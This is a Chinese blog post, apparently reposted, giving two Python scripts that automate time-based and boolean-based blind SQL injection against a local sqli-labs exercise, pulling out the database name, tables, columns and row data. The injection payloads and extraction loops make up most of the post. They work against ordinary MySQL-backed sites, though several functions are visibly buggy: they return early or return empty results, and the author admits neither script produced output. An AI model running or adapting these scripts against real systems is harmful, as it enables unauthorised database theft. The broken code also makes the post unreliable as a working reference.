当前位置: 首页 > article >正文

sql:时间盲注和boolen盲注

关于时间盲注,boolen盲注的后面几个获取表、列、具体数据的函数补全

时间盲注方法

import time
import requests

# 获取数据库名
def inject_database(url):
    dataname = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(3), 0)-- " % (i, mid)
            res = {"id": payload}
            start = time.time()
            r = requests.get(url, params=res)
            end = time.time()
            if end-start >= 3:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        dataname += chr(mid)
    print(dataname)

# 获取表名
def table_inject(url, dataname):
    table_name = []
    index = 0
    while True:
        table_name = ""
        position = 1
        while True:
            low = 32
            high = 127
            while low < high:
                mid = (low + high) // 2
                payload = f"1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='{dataname}' limit {index}, 1), {position}, 1)) > {mid}, sleep(3), 0)-- "
                params = {"id": payload}
                start = time.time()
                r = requests.get(url, params=params)
                end = time.time()
                if end - start >= 3:
                    low = mid + 1
                else:
                    high = mid
            if low == 32:
                break
            table_name += chr(low)
            position += 1
        # if not table_name:
        #     break
        # table_name.append(table_name)
        # index +=1
        return table_name

# 获取列名
def colum_inject(url, dataname, table_name):
    colum_name = []
    index = 0
    while True:
        colum_name = ""
        position = 1
        while True:
            low = 32
            high = 127
            while low < high:
                mid = (low + high) // 2
                payload = f"1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='{dataname}' and table_name='{table_name}' limit {index}, 1), {position}, 1)) > {mid}, sleep(3), 0)-- "

                params = {"id": payload}
                start = time.time()
                r = requests.get(url, params=params)
                end = time.time()
                if end-start >= 3:
                    low = mid + 1
                else:
                    high = mid
            if low == 32:
                break
            colum_name += chr(low)
            position += 1
        return colum_name

# 获取具体数据
def data_inject(url, dataname, table_name, colum_name):
    data = []
    index = 0
    while True:
        row_data = ""
        position = 1
        while True:
            low = 32
            high = 127
            while low < high:
                mid = (low + high) // 2
                payload = f"1' and if(ascii(substr((select {colum_name} from {dataname}.{table_name} limit {index}, 1), {position}, 1)) > {mid}, sleep(3), 0)-- "
                params = {"id": payload}
                start = time.time()
                r = requests.get(url, params=params)
                end = time.time()
                if end - start >= 3:
                    low = mid + 1
                else:
                    high = mid
            if low == 32:
                break
            row_data += chr(low)
            position += 1
        return data


if __name__ == '__main__':
    url = 'http://127.0.0.1:8080/sqlilabs/Less-9/'

    dataname = inject_database(url)
    print(f"database: {dataname}")
    table_names = table_inject(url, dataname)
    print(f"table-name: {table_names}")
    if table_names:
        table_name = table_names[0]
        colum_names = colum_inject(url, dataname, table_name)
        print(f"colum-name: {colum_names}")
        if colum_names:
            colum_name = colum_names[0]
            data = data_inject(url, dataname, table_name, colum_name)
            print(f"时间盲注 - 具体数据: {data}")

布尔盲注方法

import requests

# 通用的布尔盲注函数
def boolen_inject(url, payload, payloadfas, params):
    result = ""
    for pos in range(1, 20):
        for ascii_val in range(32, 127):
            payload_true = payload.format(pos, ascii_val)
            payload_false = payloadfas.format(pos, ascii_val)
            params_true = {params: payload_true}
            params_false = {params: payload_false}
            response_true = requests.get(url, params=params_true)
            response_false = requests.get(url, params=params_false)
            if response_true.text != response_false.text:
                result += chr(ascii_val + 1)
                break
        else:
            break
    return result

# 布尔盲注获取数据库名
def get_database_name(url, params):
    payload = "1' and ascii(substr(database(), {}, 1)) > {} -- "
    payloadfas = "1' and ascii(substr(database(), {}, 1)) <= {} -- "
    return boolen_inject(url, payload, payloadfas, params)

# 布尔盲注获取表名
def table_inject(url, params, database_name):
    table_names = []
    index = 0
    while True:
        payload = (
            f"1' and ascii(substr((select table_name from information_schema.tables "
            f"where table_schema='{database_name}' limit {index}, 1), {{}}, 1)) > {{}} -- "
        )
        payloadfas = (
            f"1' and ascii(substr((select table_name from information_schema.tables "
            f"where table_schema='{database_name}' limit {index}, 1), {{}}, 1)) <= {{}} -- "
        )
        table_name = boolen_inject(url, payload, payloadfas, params)
        if not table_name:
            break
        table_names.append(table_name)
        index += 1
    return table_names

# 布尔盲注获取列名
def column_inject(url, params, database_name, table_name):
    column_names = []
    index = 0
    while True:
        payload = (
            f"1' and ascii(substr((select column_name from information_schema.columns "
            f"where table_schema='{database_name}' and table_name='{table_name}' limit {index}, 1), {{}}, 1)) > {{}} -- "
        )
        payloadfas = (
            f"1' and ascii(substr((select column_name from information_schema.columns "
            f"where table_schema='{database_name}' and table_name='{table_name}' limit {index}, 1), {{}}, 1)) <= {{}} -- "
        )
        column_name = boolen_inject(url, payload, payloadfas, params)
        if not column_name:
            break
        column_names.append(column_name)
        index += 1
    return column_names

# 布尔盲注获取具体数据
def data_inject(url, params, database_name, table_name, column_name):
    data = []
    index = 0
    while True:
        payload = (
            f"1' and ascii(substr((select {column_name} from {database_name}.{table_name} limit {index}, 1), {{}}, 1)) > {{}} -- "
        )
        payloadfas = (
            f"1' and ascii(substr((select {column_name} from {database_name}.{table_name} limit {index}, 1), {{}}, 1)) <= {{}} -- "
        )
        row_data = boolen_inject(url, payload, payloadfas, params)
        if not row_data:
            break
        data.append(row_data)
        index += 1
    return data

if __name__ == '__main__':
    url = "http://127.0.0.1:8080/sqlilabs/Less-9/index.php"
    params = "id"
    # 获取数据库名
    database_name = get_database_name(url, params)
    print(f"database_name: {database_name}")
    # 获取表名
    table_names = table_inject(url, params, database_name)
    print(f"table_name: {table_names}")
    if table_names:
        table_name = table_names[0]
        # 获取列名
        column_names = column_inject(url, params, database_name, table_name)
        print(f"column_name: {column_names}")
        if column_names:
            column_name = column_names[0]
            # 获取具体数据
            data = data_inject(url, params, database_name, table_name, column_name)
            print(f"data: {data}")

实验结论

但是两种方式都显示不了数据库名称,检查后发现是基础配置问题导致代码连接不上,正常在网址上进入是可以的。

代码本身没有问题。

现在我还没有找到问题所在,后面会抽时间改进。


http://www.kler.cn/a/546420.html

相关文章:

  • 3.3.4 VO-O语法- 算子分类(一)
  • webassembly009 transformers.js 网页端侧推理 NLLB翻译模型
  • 智能背后的阴影:LLM安全风险
  • 华为支付-商户基础支付场景准备
  • Flask和Django相比哪个更适合新手?
  • 利用背景图像进行信息泄露和 LPE:AnyDesk CVE-2024-12754、ZDI-24-1711
  • 内网穿透简单使用
  • uniapp商城之首页模块
  • Apache Iceberg 与 Apache Hudi:数据湖领域的双雄对决
  • USB Flash闪存驱动器安全分析(第一部分)
  • 文心一言4月起全面免费,6月底开源新模型:AI竞争进入新阶段?
  • Redis 01 02章——入门概述与安装配置
  • Go语言实现单例模式
  • 基于opencv的HOG+角点匹配教程
  • Day1 25/2/14 FRI
  • 执行js生成json文件并动态写入数据
  • HTTP请求报文头和相应报文头
  • 深入探索C语言中的字符串处理函数:strstr与strtok
  • 科研绘图系列:R语言绘制地图和山脊图(map ridge plot)
  • LVS集群(DR/NAT)